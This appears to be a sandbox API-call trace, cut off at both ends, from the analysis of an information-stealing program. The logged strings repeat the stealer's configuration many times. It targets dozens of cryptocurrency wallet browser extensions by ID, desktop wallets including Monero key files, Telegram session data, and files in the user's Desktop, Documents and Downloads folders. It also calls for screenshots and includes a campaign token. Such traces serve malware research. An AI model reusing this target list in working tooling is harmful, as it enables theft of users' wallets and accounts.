Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.786] lstrlenW (lpString="ews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3717 [0259.786] lstrlenW (lpString="ews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3717 [0259.786] LocalAlloc (uFlags=0x40, uBytes=0x1d0a) returned 0x6b9720 [0259.787] lstrlenW (lpString="ews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3717 [0259.787] LocalAlloc (uFlags=0x40, uBytes=0x1d0a) returned 0x6bb438 [0259.801] lstrlenW (lpString="ews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3717 [0259.801] LocalAlloc (uFlags=0x40, uBytes=0x1d0a) returned 0x6bd150 [0259.801] StrStrW (lpFirst="ews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.801] lstrlenW (lpString="ews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension 